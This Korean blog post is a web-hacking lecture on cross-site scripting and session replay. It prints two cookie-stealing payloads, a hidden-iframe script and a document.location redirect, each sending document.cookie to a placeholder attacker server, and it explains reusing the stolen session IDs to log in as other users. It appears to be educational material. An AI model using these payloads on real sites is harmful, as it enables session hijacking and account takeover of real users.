본문 바로가기

Hacking/Web Hacking-

[4] WebHacking - XSS(크로스 사이트 스크립팅)

안녕하세요. M1S Secur 입니다.


이번 강의에서는 'XSS' 라고하는, 아직까지도 많이사용되는 웹 해킹 기법에 대하여 포스팅 하도록 하겠습니다.


XSS : Cross Site Scripting 의 약자로, CSS와 겹치기 때문에 XSS로 표기하며,

 쿠키값 탈취 , 관리자 권한 획득, 악성코드 삽입 등에 이용됩니다.


XSS는 주로 쿠키값을 탈취하여 관리자권한을 획득하는데 사용됩니다.


쿠키값이 뭔지 알아봐야겠죠?


쿠키값이란 , Cookie 로 나타내며 각 개인개인사용자마다 특정한 값입니다

사이트마다 쿠키값이 전부 다르며

이 쿠키값이 만약, 해커의 손에 들어가게 되면


해커가 내 자신이 될 수 있다는 점, 알아두시면 되겠습니다.


(한국의 주민등록번호로 이해하시면 되겠습니다.)


인터넷 주소창에 javascript:document.cookie 를 입력하면 쿠키값페이지로 넘어가며


페이지가 이동되는게 싫으신 분들은


javasciprt:alert(document.cookie)를 입력하시면 개인 쿠기값을 볼 수 있습니다.


자 그럼 XSS에 대해 알아보도록 하겠습니다.


XSS 공격방법은 매우다양합니다.


그중 첫번째로 Iframe을 이용한 XSS공격에 대하여 알아보도록 하겠습니다.

1. 공격자가 악성코드 입력 ( 스크립트 코드 삽입 )

2. 악성코드 전송, DB에 저장됨

3. 사용자가 페이지를 요청한다.(글을 클릭하는것, 그럼 페이지 로딩이 되잖습니까?)

4. 악성코드( 공격자가 심은 스크립트코드 ) 전송, 실행

5. 자신도 모르게 쿠키의 정보가 악성코드에 의해 공격자에게 전송됨.

6. 공격자는 다른사용자의 쿠키정보를 습득함.

7. 공격자가 습득한 다른사용자의 쿠키정보를 이용하여 불법 접속 ==>> 피해발생

공격자의 임시 웹서버

<script>

document.write("<iframe src =http://해커의 개인 JSP서버.jsp?cookie="+ document.cookie +"

width=0 height=0 frameborder =0></iframe>");

</script>

- 악성 ActiveX 설치를 유도하는 XSS공격의 경우에는 일반 사용자의 시스템을 침입하거나 공격할 수 있다.

- XSS 공격으로 발생할 수 있는 문제점들

- Cookie 정보 획득 / 관리자 권한 획득

- Phishing Page 유도 (ex) 광고

- 사이트의 신뢰도 하락

- 사이트에 악성코드 삽입

-추가정보

서버 별 쿠키 값으로 저장되는 세션 ID 유형

- IIS : ASPSESSIONID10DKKSLAMD=FDBLEGJSMCJIQJDMMSKGPQ

- Apache : Apache=211.45.123.1.4849849878278285

- Tomcat : JSESSIONID=DDA43984BA394892ASBA329419248ASB29

- WebLogic : WebLogicSession=QxQdkXgu9QdfkmbF90DfmcG9fmFxHdTewHCDf908

// 다 제맘데로 임의로 넣은값입니다.



그럼 두번째로 Replay Attack에 대하여 포스팅하겠습니다.


Replay Attack, 세션 재사용 공격

Replay Attack은 '재사용 공격',

다시 말해서, 웹 쿠키정보를 재 사용하여 공격한다는것입니다. 

'취약점'으로도 분류되어 있습니다.

따라서 xss 취약점을 이용해 다른 사용자의 쿠기 세션 정보를 획독한 후

 공격자는 자신의 쿠키 세션 정보를 획득한 다른 사용자들의 쿠키 세션 정보로 수정해서

  로그인 인증 없이 다른 사용자의 권한을 획독하는 것입니다

(정상적으로라면 로그인을 해야겠죠?)


이번엔 PHP를 이용하여, 공격을 하기위하여 PHP코드를 작성합니다.


(사진- By XHOSA)


해커가 개인 서버를 가져야 된다고 이야기했죠?

PHP 서버를 만들고, 위 코드를 PHP 파일로 만들어 서버에 저장.

그러면 주소가 나오겠죠?

Http://211.111.111.111/php? 이런식으로

그 주소를 <script로 입력하여 공격하는겁니다.


<script>document.location="http://악성서버 ip/cookie.php?cookie="+document.cookie</script>


해석하자면 악성서버에 접속하게되면서 Cookie값을 docuemt라는 바구니에 담아온다

라고 생각하시면되겠습니다.



이상으로 강의를 마치겠습니다.


M1S Secur






/*오늘도 좋은 하루 되시기 바랍니다 ^-^ 

(댓글은 작성자에게 힘이됩니다)